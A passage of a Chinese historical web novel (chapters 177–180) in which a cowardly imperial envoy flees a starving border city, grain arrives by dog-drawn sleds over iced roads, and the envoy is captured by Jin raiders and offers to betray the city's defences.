张袍俀嫌弃的啧啧骂道:“丢人现眼的东西,不过点米糠,看把你馋的。” 童子委屈抱怨,从怀里摸出一个缺了口的黄饼:“郎君冤枉我,厨房给你们两位主子配了米糠粥,我们随从只发了一个土饼,小的饿得前胸贴后背,两腿只打颤。” “郎君,我们什么时候启程回上京啊,在这里没得吃没得穿的,您是金贵的人儿,何苦受那大老粗的气!” 张袍俀抢过童子手里的饼一看,一点米糠里混些黄土,他面色微微一沉:边城已经缺粮到吃土的地步了么? 小童絮絮叨叨的抱怨:“何况那个大老粗根本不把您放在眼里,去厨房端粥,我明明闻到里间传出一股子肉香,他们躲在里头吃,都不给我们哩,我上前询问一二,厨子竟划着刀赶我走,说我闻错了,那是他们在里头做土饼,呸,哄人的玩意,他自己袖口上还沾了点血呢,定然是他们悄悄杀马吃肉呢!” 听到小童看到血,张袍俀一激灵。 这些糙汉甚是爱惜马匹,宁愿自己掉块肉都不会杀马的,那他们杀的是什么? 许是去外面林子里弄的野味罢。 他压下心里的阴翳,这样安慰自己。张袍俀心里存了事,肚里又饿得慌,睡不住了,起身穿戴整齐,命小童把所有随从寻来,既然他们能打猎,他也带着人去野外碰碰运气,弄点野味垫垫肚子。 他坐在堂上灌了一口凉茶,小童期期艾艾进来:“郎君,其他人在外面候着,只剩张肥和李壮,他们一屋的人说,他们夜里出去了,一直没回来。周边可能去的地方都找了,没找到。” 张肥和李壮是他带来随从中最敦实的两个。 来之前叔叔叮嘱,边城兵痞子多,让他夹着尾巴做人,免得吃了亏去。 手下这帮子人跟着他长居京城,偶尔到外面办差,眼界混得高,都是拿鼻孔子看人,他担心和那些大头兵起了争执,不好回去交差,特意交代过,不准随从乱跑,更不准跨出院门一步。 这青天白日的,两个大活人凭空消失,莫不是有鬼。 张袍俀狠狠一拍桌子,带着小童亲自出门寻人。 一时县衙内被翻得底朝天,依旧没寻到两人。 闹这么大的动静,郭志城打发郭荣来询问。 张袍俀冷笑道:“郭副将大人有大量,我两个手下胆小如鼠,不晓得哪里冒犯到大人,还请将他们放回!” 竟是一副默然人被郭荣捉走的样子。 郭荣顿了一下,皱眉道:“什么手下,你随从不见了么,许是出去外面消遣了吧!” 说着招了招手,身后一个小兵去了一会,带着一个睡眼惺忪的兵士回来。 郭荣点了点头:“这是昨日值守的守卫,你说说,可有看到张天使的随从?” 那人先行了一礼,立即答道:“大人,我昨日晚饭后值守,一直到今日天明换班,昨夜子时确实有一高一壮两人结伴出门,自报身份是京城来的天使,说是要去花街寻个老相识,直到我下值,他们都没回来。” 郭荣嗯了一声,挥挥手示意他下去补觉。回身对着张袍俀阴阳怪气道:“大人,看不出来,您的随从交际广远,连这边城之地都能寻到老朋友。还请大人弄明白事情的始末,免得大清早扰人清梦。” 说罢,冷哼一声摔袖而去。 张袍俀被他一阵阴阳怪气,顿觉没脸,反手一巴掌将小童甩翻:“没用的东西,也不弄清楚就撺掇老子去闹,还不去花街把那两个丢人现眼的混账给老子绑回来!” 第177章 第177章调虎离山 张袍俀阴沉着脸坐在书案,不时在案上勾勾画画,约摸有半个时辰的功夫,小童去而复返,怯怯的蹭到跟前:“大人,我们将边城唯一的花楼翻了个底朝天,没有找到李壮和张肥。” 顶着公子不断上涨的怒气,他期期艾艾为自己辩解:“城里的酒馆饭庄,所有他们可能去的地方,我们都找遍了,没找到!” 城里已经没了粮食,酒馆饭庄早就关门大吉人去楼空,他们顺着搜了一圈,并不费什么功夫。 小童忿忿不平:“后来,我寻到墙根下的乞丐,才打听到,从昨日至今,根本没有一壮一胖两人出去过,那郭荣对我们怀恨在心,定是悄悄将两人绑走,以泄私恨!” “公子,您身份贵重,自从来了这里,被那厮冷嘲热讽,慢待。什么时候受过这样的鸟气!若是叫京里的那起子小人知晓了,如何做人!” 小童红着眼睛,为自家公子不值。饮食上慢待便罢了,现在竟然绑了他们的人,打狗还看主人呢,这是把公子的脸放在地上踩。 在上京的时候,谁不捧着他们? 小童养成了骄奢跋扈的性子,这几天吃不饱穿不暖的,他早就受不了了,怂恿自家公子去闹:“公子,只要您一声令下,我们定然让那姓郭的吃不了兜着走!” 张袍俀垂下眼睑不吭声。 他能在一众小辈中脱颖而出,让叔叔派出来办差,除了嘴甜会来事之外,多少有些脑子。猛龙还不压地头蛇呢,现在在人家的地盘上,他没那么虎,直接打上门去闹,那不是老寿星上吊——找死么。 他在思索,郭荣绑了他两个手下,是为的什么? 无仇无怨的,即便拌了几句嘴,也不至于。 真要像小童想的那么简单,只是为了打他的脸么?上京里的衙内么看中的是脸面,是光鲜的体面。但这些兵痞子看中的是实际的利益。 李壮和张肥身上有什么东西,是他们看中的呢? 张袍俀的手指不自觉的摩挲着扳指。 一旁的小童连忙闭口不言 ,乖觉悄悄立在一边,每次公子这样的时候,都是在下思虑下一步的决断,他万万不能打断公子的思绪。 两人原叫李山夏、张中贵,在跟来的侍卫中,身手一般不算出众,性格随和老实,也不可能主动惹事。 因长得壮实、敦厚,被大家伙改了名。两人比较能吃,在上京的时候,经常偷偷溜近厨房,弄些烧鸡烤鹅,管家来和他告过几次状。 吃食上的些许小事,他没在意,把两人叫来,命他们以后不准偷拿,两人也知错能改,每次要吃些什么,都交钱找厨房买,这事算是平息了下去。 这些日子边城粮食紧缺,他尚且分到半碗稀粥,下面的人,只有半个糠饼,想来两人老毛病又犯了,摸到人家的厨房去。 回想小童说闻到厨房里的血腥味,他面色一紧。 张袍俀勾了勾手指,小童连忙凑上前。 “你立刻让侍卫长悄悄摸到厨房里间去查探一番,无论查到什么,让他不要声张,速速来报我!” 小童眼里闪过不解,嗯了一声,匆忙跑去。 约摸过了半个时辰,小童面色苍白捧着一碗肉汤,带着满脸严肃的侍卫长进来。 侍卫长不善言辞,将手里的东西往张袍俀面前一递:“大人,我偷偷翻进后厨,后厨干干净净,什么都没有,但是,我从灶灰里扒拉出这个。” 张袍俀定睛一看,原是烧了剩下一截的腰带。 小童哭丧着脸,颤抖着揭开碗盖:“公子,他们,他们不是人,碗里的肉汤,有这个……” 张袍俀气息不由急促起来,油腻腻的汤里,底下沉着几块看不出纹路的肉渣,还有一截雪白的骨头,那个骨头上还带着半截指甲! 是人的指甲! 再看看侍卫长手里还有张府标记的腰带,小童碗里的指骨,他不敢再抱有幻想,那个可怕的事实血淋淋的呈现在他面前——这些茹毛饮血的,竟然吃了他的护卫。 他饿得能吞下一头牛,但是一想到这碗肉汤,不晓得是李壮左手,还是张肥的右肢,他便一阵阵发恶心,绞挛的肠胃几乎要把他痛晕。 可是,他不能晕,他们现在是别人圈养的羊。 今日他们无所畏惧炖了他最壮实的两个护卫,那,明天呢,后天呢? 朝廷是没有粮食送过来的,所以,他们这些传旨的钦差,就变成了主动送上门的两脚羊了么? 原本纸张角落里不起眼的文字,易子而食折骸而爨,逃离书本的牢笼,血淋淋又凶悍的铺面袭来,这恐怖的真相,几乎要把他的心脏绞裂,冷汗顺着他的脸庞一滴滴掉落,砸在光洁的地砖上,染下了一滩滩污渍。 张袍俀捏着的拳头重重的拍了一下大腿,不行,他不能坐以待毙,一定要逃出去,逃回上京,让叔叔帮他要一个公道。 真相太过血腥,恐惧几乎要将他灌满,张袍俀颤抖着声线发布指令:“不用再寻李壮和张肥,召集所有人马,即刻动身回京!” 院子里闹哄哄的,风光而来的钦差队伍丢弃华而不实的仪仗,将能带着的行礼全部裹在了身上,一个个笨重如熊,等待出发。 张袍俀压下心中的颤栗,面皮发白去找郭志城辞别,一副深明大义之样:“我们来了这些日子,将边城的难处看在眼里,将军放心,我这便启程回京,和皇上禀明边城的困境,一定集结朝廷之力,速速筹送粮草送来。” “只是冰天雪地路途遥远,还请将军分一些粮食给我们才是!” 郭志城漫不经心哦了一声,巴不得他们立刻动身,面上却做出依依不舍之状:“大人,边城哪里还有粮草,都靠吃土饼度日。外面天寒地冻,不若大人留下,静待朝廷粮食,免受风霜奔波之苦。” 两人装模作样拉扯一番,最后,郭志城大方送上一篓土饼。 张袍俀一行人归心似箭,出了门便撒丫子跑,不想雪大路滑,一路人仰马翻,闹出许多动静。 边城城楼的瞭望台上,郭守云淡淡道:“金人探子都跟了上去,我们可以行动了!” 郭志城看着天边的那点黑影,不置可否,那么远的距离,哪里看得清,正要命令探子去探,郭守云已经将手中黑乎乎的长筒,递到他面前,声音里带着淡淡的自豪:“大人试一试这个,是我们青华园的匠人耗费巨资打造出来的,名千里眼!” 郭志城捧着长筒,依葫芦画瓢单眼凑到上面,圆形的视野里,张袍俀骑着马摔了个狗啃屎,甚至能看到他呸呸呸吐口水。 远处的世界突然变得清晰起来,郭志城惊奇的捧着千里眼,慢慢转动,在另外一边,看到了远远坠着的金人。 他怀疑的拿开千里眼,远处的世界又变得白茫茫一片。 再次凑上千里眼,原来金人全身裹在羊皮衣里,就是头上的黑发,都被羊皮帽遮挡起来,几乎和雪地融为一体。 真是大幸,有如此利器,大赵必然能旗开得胜,凯旋而归。 他转动着千里眼,顺着边城周围看了一圈,果然,在外游荡的金人都被张袍俀一行吸走了,正是行动的好时机。 至于张袍俀一行人的安全,他是半点不担心。 这些京城来的公子哥,骄奢跋扈,知道边城有难,竟然弃城一走了之,和逃兵有何区别,他没亲自将他们就地正法,已经是涵养了得了。 金人残暴,只希望张袍俀一行能多引着金人溜一会。 待接粮的人马出发后,郭志城来到关押张肥李壮的房屋,张袍俀这个孬种,手下亲卫不见了,也不敢声张,悄摸摸寻一圈就跑了,没种。 他面带嘲弄看着堵着嘴巴的两人,讥道:“之前金人前来扰城,你们大人说是回京搬救兵,已经走了许久。 你们现在去追,还能追上。对了,我们俘虏的金人交代,另有一队金人坠上你们大人,你们跑快些,许能为你们大人收尸!” 说罢命人给他们松了绑,冷哼一声抬腿走了。 两人对视一眼,暗道晦气。 只因肚中饥饿,两人自来熟蹭到厨房里想弄点吃的,热汤冷饼没摸到,就被人抓了,当小偷堵了嘴绑起来。 他们听着外面不时兵荒马乱的杂乱声音,正等得心焦,想着大人定会来救他们。 哪知大人拍拍屁股走了,不过按照公子怕死的性子,这是必然的事。 两人心知肚明,将军嘴上已经留了口德,回京搬救兵是假,当了逃兵才是真。 张肥李壮不敢声张,行礼也不收拾,趁人不备,灰溜溜牵了两匹马,逃走了。 他们要追上公子报信,将军不待见公子当了逃兵,必定不会出手相救,但他们不行。若公子在此丢了性命,只怕京城里一家老小都要收到牵连。 郭守云亲自带着一队军中好手,一路翻山越岭,汤风浴雪,终于翻过雪山,关内即便风雪依旧,但远处不时冒着炊烟的茅草房,昭示着这里的百姓安居乐业。 回到青华园临时办事点,他掀起帘子,看到那个牵肠挂肚的人,又惊又喜:“你怎么来了?” 第178章 第178章猪肉炖粉条 屋子是普通的民房,灰扑扑的墙壁上留着烟熏的痕迹,充满了生活的气息。 正中火炉里橘红色的火苗在黑色的锅底下跳跃,不时发出噼啪的柴火声,简陋而温暖,怕冷的刘青青从厚厚的棉衣里伸出手,麻利提起黑茶壶冲了一杯滚烫的姜茶端过来,难为她穿着臃肿,却也灵巧敏捷。 郭守云站在门口喝茶,刘青青垫着脚尖为他怕打着肩膀上的积雪,一面絮絮叨叨询问:“满身的风雪,定然是冷极了,哎,如何瘦了恁多?” 言语中的熟稔好似昨日他们才分开。 微辣的姜茶顺着喉咙一路往下,又辣又烫,暖和了肠胃,也暖和了郭守云的心,他反手拿起她手中的帕子,错开一步拍打身上的积雪,手臂轻轻碰了她一下,示意她退后,嘴上撵人:“你往后一些,免得雪花湿了你的衣裳。” 说起正事,郭守云焦躁了几分:“山陡路滑,好 些地方要捆着绳索才爬得上去,我们去时探索的那条小道,经这些日子的风霜,又冻上不少。如今只能容一人侧身通过。” 小道是两个山缝之间,头上是皑皑积雪,大家经过的时候屏声静气,生怕一点动静引起雪崩。 他言语里都是沉重:“边城百姓,已经开始用土饼充饥。” 他们的到来给了守将们的信心,郭志城为了稳定军心,已下令将最后一点米糠熬成粥分发到城里各处。 刘青青看了他一眼,接过他喝剩的残汤,掀开帘子泼在地上,一瞬间,冒着热气的姜汤落在雪地上,化开雪地,转而变成晶莹剔透的冰面。 迎上他不解的目光,刘青青解释道:“官道上的积雪清理不干净,我们便不用清理,浇上水后,将道路变成冰面,我们坐着雪樵,直接划过去。” 郭守云先是一愣,想通了其中的关窍后,豁然开朗,心花怒放抱着刘青青的腰,激动转了一圈。 “果然还得是你!我竟然没想到。” 骤然离地,只觉天旋地转,刘青青吓了一跳,两只胳膊紧紧紧箍着他的脖子,嘴里尖叫:“啊呀,晕死我了,快放我下来!” 郭守云放下她,安抚拍了拍她的头顶:“你先歇着,我这便安排人去泼水!” 刘青青拉着他:“看把你急得,我既是想到了,还用你说,这几日都在做这个事,今夜再冻上一夜,明日就能通过。” 为了让他彻底放下心安生歇息,刘青青套上棉帽,裹上围巾,领着他到了隔壁小院,空旷的屋子里摆放着整整齐齐的车架,屋子里都是新鲜松木的香味。 这些车架上没有轮子,两侧落地的地方安装了两条约摸掌宽的光滑木板,中间车厢窄窄的长长的,估摸着能顺序码装五只麻袋。 郭守云面露疑惑:“这太矮了吧,马车骡车不好操作哪!” 刘青青噗嗤一笑:“虽说浇了些水,但还是有雪崩的风险,若农夫去拉,又费力又慢,还有安全隐患,骡车跑不起来,马车太宽,所以打算用狗狗们去拉车。” 郭守云失笑:“你把棉花黑炭也带来了,它们才两只狗狗,哪里拉得动哦!”阿青太天马行空了些,不切实际,又不是过家家。 刘青青打开窗子,指着远处雪地里一坨忽左忽右,到处移动的黑色灰色,没好气道:“棉花黑炭伙食充裕,长得油光水滑,来到了北地,一刻闲不住,在外面蹦跶欢实,诺,这附近几个镇子的狗狗全部跟着它们混。” 一来棉花黑炭确实聪明能干架,二来它们带着小弟们回来,刘青青作为狗主人,设法款待它们的狗朋友,每日间不是鸡架便是猪大骨,养的一众狗腿子们见到她便将尾巴摇晃得像风火轮。 不过还好,狗腿子们不挑食,给啥吃啥,只要一点骨头汤,配上芋头便吃得津津有味,盘子舔得干干净净,甚是好养。 郭守云默认,想不到远从南方来的棉花黑炭竟也能适应这里极其寒冷的环境,倒是意外之喜。 刘青青事事安排得有条不紊,运粮应该不会成问题,他悬在空中的一颗心总算放了下来,这会儿才忽感觉腹中空落落的,饿得慌。 两人从回到前面小院,屋子里的热浪迎面扑来,驱散了寒冷。 坐在火炉边,刘青青端来托盘,原是一个热锅子,先舀了一碗汤给他:“先吃完米饭垫垫底,这样的天气吃羊肉锅子是最棒的,偏偏只带了些猪肉来,将就着吧。” “你知道么,这是我们青华园的粉条哦,我们的木薯粉条竟然已经卖到了这里,这里的村民喜欢泡软后放上白菜,猪五花一起炖煮,竟然挺好吃,你尝尝。” 一方水土养育一方人,北地寒冷,将木薯粉炖煮出来吃,热气腾腾更加合适。 一想到自家园子里的产品横跨大半个国境,来带这个边境之地,她心里豪气万千,不仅国境线以内,跨过边城,外面的金人的皮毛,牛肉羊肉,也是她交换的目标。 她一面说,一面舀了一勺猪肉炖粉条汤在他碗里。 雪白的米饭上,浇了一勺褐红色的汤汁,他忍不住咽了咽口水,尝一口,猪肉里的咸香,白菜梆的脆甜,粉条的黏滑神奇的融合在一起,成了一种不同以往的鲜美。 郭守云吃得心满意足,干完小半碗饭,正要添第二碗,刘青青挡了他的手:“你这些日子吃得清淡,不宜一下子过饱,吃点菜过度。” 郭守云点头,适才猪八戒尝人参果,唏哩呼噜就吃下去了,味道还没尝呢,从善如流夹了些里头的菜到碗里。 先夹起一块肥瘦相间的五花肉,颤巍巍的站在筷尖,入口弹牙不肥腻,汁肥水溢,雪白的白菜梆子清脆甘甜,犹如甘霖,粉条晶莹剔透,鲜香弹滑,各有味道,却同时鲜香入味。 他一面出一面不吝啬的夸赞:“你手艺进步了许多!” 刘青青老脸一红:“是租借我们房子的婶子做的。”这些日子在外面到处跑,厨艺上倒退了许多。 郭守云看着她爬上脸上的愧疚,握着她的手:“你为了筹粮四处奔走,尝尽风霜,很是辛苦。我唯一能做的就是跑跑腿,帮点小忙,以后你想吃什么,只管告诉我,我来做。” 刘青青看着他直愣愣的眼睛,里头盛满了她看不懂的情谊,她如同被烫到一般,连忙缩回手,逃一般避开。 她又不是真的小女娃,芯子里是个大龄剩女了,没谈过恋爱,但还没见过么。只是,对着他,总有种看弟弟的亲切感,没有书中描述的爱人间的心动脸红,面对他一次次或明或暗的表白,她暂时只会逃避。 她一如既往的避而不谈,缩回自己的乌龟壳,郭守云有些丧气,筷子无意识的在碗里扒拉了两下,发现全是些嫩嫩的白菜心。 垂头丧气的人立马又充满生机,猪肉炖粉条是婶子做的,但是,菜一定是刘青青亲手摘的,她心疼他,所以锅里的白菜全是淡黄色的菜心,没有绿色的菜叶。 听说聪明伶俐的人,天生就少棵筋,许是她还小,还没长成家的筋吧,没关系,他慢慢等,等到她开窍那一天就是。 反正他一直守在她身边,断然不会教别人抢了去。 所以当务之急,先把人哄着领了婚书才是。 想通了这一点,心意没被接受的郁闷一扫而空。 思绪翻飞,看边城的情况,必有一场恶战,万一金贼悄悄摸进来,伤到青青才是悔之晚矣,首先想个招儿把青青哄回去。 然后设法在随后的战役中捡些功劳,弄个官身,回去找爹娘提亲,才好开口。 他收拾好饭桌,默默思索不提。 次日一早,郭守云和刘青青在官道旁交代:“边城已无粒米下锅,缺口甚大,你快些回南边,尽快筹集大批粮草衣被送来。 金人兵强马壮,战事只怕要僵持下去,粮草越多越好。” 他半句不提前线危险,深深看了刘青青一眼,坐上雪樵,手中绳索轻轻一抖,棉花黑炭打头,后面一溜带着口套的狗狗们,拉动雪樵飞速穿梭进官道中。 刘青青上前追了两步,张了张嘴,半天没有说出一个字。 官道两边都是高山白雪,所有人都是静悄悄的,北风卷啊卷,卷着雪花,遮盖了雪樵的印记。 不信神的刘青青双手合十,闭上眼默默祈祷:“老天爷,希望阿云能将粮草顺利运到边城,解决边城的燃眉之急,希望战事早日结束,恢复太平。希望阿云,能平安归来。” 等所有队伍消失不见,几个掌柜们看向刘青青:“刘园长,你一届小女子,筹集军需,亲送边境,你为大赵做的够多了,实在让我们一众汉子汗颜,以后,只要你一声令下,我们唯你马首是瞻。” “哪里哪里,王掌柜,李东家,孙少主,你们言重了,这些军需都是我们大家伙一起集的,也是百姓们从牙缝里省下来的,是我们所有人的期望,希望早日打败金贼,我们能安居乐业。” “你们九死一生去了边城,那边的情况你们也亲眼所见,危险与机遇并存,不如我们一起去认识些掌柜东家,筹集军需,准备准备,深入草原,如何?” 这是必胜的意思了,好兆头。 几人信心倍增,欣然大笑:“可!” 第179章 第179章以工抵粮 议事厅内,郭守云合眼正襟危坐,双手按在膝盖上。若是不熟悉的人见了,只是以为他在闭目养神,只是,手背上凸出的青筋昭示着他此刻内心的不平静。 已经整整一夜,山脚下等着接应的士兵,等得冻僵了,他们几乎将雪山望戳个洞,却没有看到折回来的人影。 一次次焦躁的急报回来,统揽全局的他坐不住了。 难道上当受骗了,来的几人是金人的奸细? 这个念头已出现,就被他下意识的掐断。 不可能,来的几人是地道的赵国人,无论从他们的行为习惯,仰或说话口音,无一不是地道的赵国人。 而且他们眼神中对金人的痛恶,对国泰民安的无限向往,骗不了人。 不是金人 的奸细,那便是政敌的手段,可是他们这样做,也没什么好处啊? 边城的粮食本就完了,即便他们不来,哄着军营将粮食让出去,军营也青黄不继,坚持不下去的。 所以,他们应该就是民间自发而来的爱国义士,许是回去的路上,又出了什么纰漏。 寒风从窗棂的缝隙里漏了进来,透过布料的空隙,往人骨头缝里钻。 郭志城打了个寒战,心也掉到了冰窟里。好不容易有了胜利的盼头,又生出这样的波折。他也是久经沙场的,决定不再坐以待毙,立刻采取措施。 “来人,召回山脚下接应的士兵,换两个百人队,甲队在山脚观望接应,乙队寻官道,尽量探一条进关的路。 集结先锋队,我们速战速捷,去吧旷野中的金人捉回来。” 每次都是金人抢大赵的粮食,反正也活不成了,这次,大赵要抢金人的粮食,也把他们作两脚羊。 & 幽深的峡谷里,两边是皑皑白雪高山,寒风呼呼的吹着。一伙灰色的身影静悄悄的在山谷里快速穿行。 郭守云不时扭头看向两边的的积雪,默默期望天再冷些,雪冻得更硬些。 棉花黑炭在最前面带路,一溜狗狗带着护嘴,拉着雪樵紧紧跟着后面。 快了,快了,他已经能看见前面广阔的平原。 郭守云激动得站起来,挥舞着手中的红旗,示意后面的队伍加快速度。 长蛇一般的运粮雪樵队伍冲出了峡谷,只是,棉花黑炭忽然站住了,发出准备进攻的低吼,郭守云眯眼细看,远处一排弓箭手是几个意思,难道中了金人的埋伏? 待看清对方的装束,原是边城的守军,郭守云俩忙安抚暴躁的狗子们,上前交涉。待明白是郭将军派来接应的士兵,忍不住和大家伙夸赞将军料事如神。 晓得将军已经集结部队,去剿灭旷野里的散落金人,立马催动运粮队,快速往边城赶去。 第一批粮草已经安全送达,总算是解了边城的燃眉之急,接下来一个月都无需为粮草问题担忧。 关上城门,郭守云当机立断将粮食堆放在城墙上,当着所有百姓的面,把一个个浑元的芋头丢进锅里熬煮,然后守着冒着热气的大锅,按照花名册,一个人领一个拳头大的土豆。 “父老乡亲们,关内的兄弟姐妹记挂着你们,筹集了无数的粮草军需,就在关内,管够,可是白雪封山,我们花费了无数力气,冒着雪崩的风险,偷偷运了这些过来,接下来我们一月都不会饿肚子里。可是还远远不够。” “我们需要大家一起同心协力把金人赶走。” “每日每人可领一个芋头果腹。” “若你吃不饱,可以报名来干活,力气小些的帮忙搬运石头上墙加固城楼,力气大些的青壮年可参加护卫队,运粮队,擅与锅灶的妇人们可帮忙蒸煮粮食,小孩们也可以去捡柴火……” “只要你干活,便可以领粮食!” 随着郭守云的话说完,死气沉沉的边城恢复了些许生机,大家伙排好队,眼巴巴的看着冒着热气的大锅、 果然,户籍吏拿过名册,按照人头一人发了一个拳头大的芋头。 王九是个瘸腿的少年,小时候出城捡柴火被金人打断了腿,平时靠着捡些柴火卖为生,缩在墙角的他听到自己的名字,麻木默然的脸上,闪过一丝不可思议,他这个废人也有么?他,还能活下去么? 发粮的士兵没好气的将烫呼呼的芋头塞到他手里:“发什么愣,快些趁热吃了,好有力气赶走金人。” 风雪好似变大了,不然,为何眼前白茫茫的。 王九低头紧紧捂着烫呼呼的芋头,即便手心被烫得生疼,也不松开一点,好不容易有点吃的,万一被被人抢了去呢? 正想着,几个虎背熊腰的士兵,瞪着铜铃大眼,手中弯刀发着渗人的寒光,恶狠狠冷哼:“大家伙莫要吃着碗里的看着锅里的,一人一份,想要多的,那边登记做工换,谁想不劳而获,占他人便宜,先验验骨头能不能受得住爷的刀。” 得了警告,些许宵小也不敢太岁头上动土,老老实实排队领粮食。 老弱病残得了保证,不慌不忙品尝这难得的粮食。 王九警惕的看了看四周,发现那几个平时欺负他抢他东西的地痞缩着脖子不敢放肆,把心放到了肚子中,打量手中黑乎乎的芋头。 轻轻一捏,褐色的皮便剥了下来,露出里头淡黄色的果肉,咬上一面,满嘴面糯,还带着一点沙,而后便是悠远的回甘。 因久饿而扭曲的肠胃,得了淀粉的滋润,立马活了起来,舒展着小心翼翼吸取其中的能量,一股子力气从细胞深处激发出来,王九感觉自己活了过来。 要是能再吃一个就好了! 不会打仗,不擅长打架,可是会捡柴火,王九鼓足勇气向登记做工的小吏走去,那人并没有多看他瘸腿一眼,只是热切的问他叫什么,可有擅长的手艺?而后将他编在了樵夫队,专负责为火房捡柴火。 这样的事情在各个发粮点枚不胜数。 …… 以工抵粮有序的开展进来,死气沉沉的边城立马变得热火朝天,各种备战工作积极展开。有了所有百姓的加入,守城士兵肩上的担子降了下来,可以三班倒换着休整。 忙碌了一整天,晚间,郭守云为立下大功的狗狗们熬了一锅骨头汤,配上芋头糊糊,让狗狗们吃了个大饱。 黑炭嫌弃的尝了一口,抬爪将饭盆推到郭守云面前,不满的扭头看着他:“就这?” 郭守云没好气晾了晾自己手里的水煮土豆,把饭盆推过去,拍了拍黑炭脑袋:“你就知足吧,这里缺吃少喝的,我们都吃素,就你们能加点骨头汤,要不,把你的骨头给我?” 说着作势要去捞它饭盆里的大骨头。 黑炭哪里愿意,嗷呜一声咬着饭盆跑了。 等吃得差不多,郭守云凑到黑炭棉花面前:“这里粮食暂且够了,运粮可以歇两天,要不我带你们去金人地盘里,弄点荤的,比如肥牛嫩羊?” 听到有牛肉吃,棉花黑炭耷拉的耳朵立马翘了起来,大方的将饭盆里的骨头叼了送到他手上,湿漉漉的大眼看着他:“你弄牛肉给我们吃,我们也不小气,请你吃骨头呢!”。 郭守云失笑,在两双清澈的大眼注视下,勉为其难在骨头上抿了一嘴:“行吧行吧,你们吃,我不喜欢吃骨头!” 最怕棉花黑炭的真诚。 第180章 第180章无路可退 且说那逃命回京的张袍俀,一行人在京城养尊处优,哪里挨过这风吹霜冻的苦,满天风雪中走错了方向,也是祖坟冒烟,竟阴差阳甩掉了金人。 金人大帐没了将军的压制,两位皇子意见不合,你来我往下绊子甚是热闹,因粮草告罄,终是统一意见,单日大皇子出 门巡逻弄粮,双日二皇子挂帅打草,每月多出来一日修整,公正合理,谁也不吃亏,谁也占不到便宜去。 这日刚好轮到二皇子卡里,他远远看见张袍俀一行人衣着华丽,打扮不俗,身娇体贵,面白胯宽,想来是块肥肉,正打算弄回去榨些油水,示意随从包抄过去,埋伏在进关的路上,哪知一阵大雪,那伙子胎神竟换了个方向,朝着草原深处而去。 那边是大皇子卡西的地盘,到嘴的鸭子主动飞到卡西的锅里去,这能忍? 阿西吧! 卡里暗骂一声,狠狠呸了一声。 几只肥猪而已,哪里用战术。也不埋伏了,呼啸一声,示意随军亮出身形,直直追了过去。 张袍俀领着随从护卫,对着远方的高山狂奔,只要穿过官道,入了关,便不用再受这样的鸟气。 哪知天降奇兵,粗鲁的金人如同雪花般,从四面八方冒了出来。个个张着血盆大口,舞着大刀嗷呜嗷呜冲了过来。 直到直面金人的那一刻,张袍俀吓得跌坐在地。 他身高六尺,腰围三尺,在赵人中鹤立鸡群,因这一身腱子肉,甚得叔叔的青睐,对面的金人,竟然高出他一个头,体重如象,一脚一脚踏在地上,仿佛踏在他的心口上,发出咚咚咚沉闷的响声,就问你怕不怕? 对面体形人数远超他们,张袍俀未战先怯,在边城听多了金人残暴的手段,惨白着脸抖手举起一块雪白的帕子:“我投降,我投降!” “我是赵国钦差大臣,我叔叔是首辅,只要放了我,赵国会给你们大大的好处!” 见过降的,没见过降得这样干脆利落的! 卡里先是愣了一下,双目中的鄙夷犹如实质,嗤一声,一鞭子甩在张袍俀身上:“就是赵国皇帝来了,也要给老子跪下!” 张袍俀为躲避鞭子,滚了一圈,由坐改趴,呈现五体投地之态。他狼狈至极,屈辱不甘爬在面庞上,那鞭子如同长了眼睛一般,又落在了他的脸颊,瞬间粉白的面上浮现一条恐怖的血痕,“啧,既降了,如何作出这威武不能屈的模样恶心人作甚,贱奴好好享受着吧!” 卡里身后的金人武士呼啦啦上前,缴了众人的兵器,扒了他们的毛裘,顺便搜刮了一遍,张袍俀的鹿皮小鞋都给扒了去,藏在皮靴里的金叶子自然也难逃魔抓。 穿着单衣的张袍俀冻得面庞发青,浑身上下直哆嗦,恳求金人还他皮靴,喜提金人一个大逼兜。 他欲哭无泪,悲从中来,深刻的体会到金人的残暴无礼,这一刻,他深深的思念讨人嫌的郭守城,至少,那人表面对他恭敬有礼,果腹的保暖的,一样没少了他。 最后,还是身边的侍卫悄悄将自己的鞋脱了给他套上,他才不用再雪地了光着脚行走。侍卫自己撕下些破烂衣摆包在脚上糊弄了事。 张袍俀一行被金人绑着手串成一串,赶羊一般往金人大帐里走,因他们走得慢,不时还要挨上两鞭子。 这样慢吞吞挪了一个时辰,走了不到有一半的路,卡里王子肉眼可见的暴躁起来,金乌要落山了,雪夜里狼群出来觅食,若是碰到了甚是麻烦。 区区狼群他自是不怕的,只是动起手来,难免见血,帐里正是和大皇子卡西较劲的关键时期,身后跟着的勇士折在那些畜生嘴里不划算。 卡里王子挥舞着鞭子,鞭鞭到肉落在张袍俀等一行人上,不停的催促他们快些。 聚集在张袍俀周围的,多是京城小官子弟,平时斗鸡走狗,专营奉承之辈,只有五六个是张家培养的侍卫,紧紧将他护在中间。 因张袍俀不战而降,众人早已不满,现在体己被搜刮了去,命在旦夕,挨打的也是他们,对张袍俀的阿谀奉承丢到了爪哇国,有人已经开始小声蛐蛐阴阳怪气:“说好的来边城打金人呢,原来是来给金人当肉包,死球囊,害死爷爷我了!” “百姓骂的原是真的,文人误国,张家误国啊!” 张袍俀麻木着脸,细碎的辱骂声混着寒风钻入他的耳朵,他已经听不出那是谁的声音了,他实在太冷了,极寒之气像跗骨之蛆牢牢的咬着他不放,他的骨髓好似都冻成了冰块,即便几个护卫将他挤在中间,没了裘衣的保暖,他快坚持不下去了,每一个细胞好似都要沉睡冰冻。 金人带着倒刺的鞭子又啪啪的甩了过来,外围的随从们对视一眼,默契的摔了一跤,没了肉盾,鞭子便抽在侍卫和他身上,雪白薄脆的里衣撕裂破碎,僵硬的皮肤被倒刺勾戳出参差不齐的血洞,汩汩的冒出黑褐血,洇湿了大半衣服,血腥又恶心。 张袍俀疼得撕心裂肺,再也忍不下去,啊一声惨叫,接着便是求饶:“王子,王子饶命。 我叔叔是首相,你们不是想攻打边城么,我知道边城的布防图,只要你们好好待我,我便把边防图告诉你!” 此话一出,随从侍卫便是一呆,转而便是绝望。投降可以说是为了保命,将来还有被赎回去的希望,要是把布防图给了金人,那他们便是货真价实的卖国贼,是大赵的罪人。 以后再也不能回大赵去。 给他鞋穿的武教头原是首辅府上的侍卫副统领,想着保住张袍俀的命,好回去寻张首辅要些情面封妻荫子,哪知道跟随的主子是这么个怂蛋,未战先降,现在又要叛国,想到爷娘妻儿还在上京盼着他回去,他心思微转,这个怂货不能留了,万一真把布防图给了金人,就是首辅大人也要受到牵连。 